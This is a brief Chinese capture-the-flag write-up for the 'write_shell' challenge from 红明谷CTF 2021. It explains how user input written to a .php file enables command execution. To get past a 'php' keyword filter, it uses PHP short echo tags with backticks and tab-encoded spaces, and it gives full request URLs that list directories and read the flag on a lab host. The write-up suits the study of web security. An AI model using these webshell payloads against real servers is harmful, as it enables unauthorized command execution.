[红明谷CTF 2021]write_shell

思路就很简单,先通过最后的file_put_content函数写入东西,在从dir中读取
所以也就是通过data参数进行命令执行
思路很快就有了,但是,在尝试了各种命令执行语句还是不行之后察觉到了不对劲
这题由于写入的文件是后缀名为php的,也就是说我们的语法就得满足php,并且达到命令执行的点(醍醐灌顶)
所以说,我们的语句要是
<?php php?>  | 
这种,但是可以看到前面过滤了php
所以这我们使用
php短标签
php短标签  | 
使用
<?=`ls`;?>  | 

发现这个
所以也就是命令执行成功,ok
http://794f11d3-a7c2-407e-9ac8-0b89ea929d56.node5.buuoj.cn:81/?data=<?=`ls%09/`?>&action=upload  | 
得到

最后读取可疑文件
http://794f11d3-a7c2-407e-9ac8-0b89ea929d56.node5.buuoj.cn:81/?data=<?=`cat%09/flllllll1112222222lag`?>&action=upload  | 
得到flag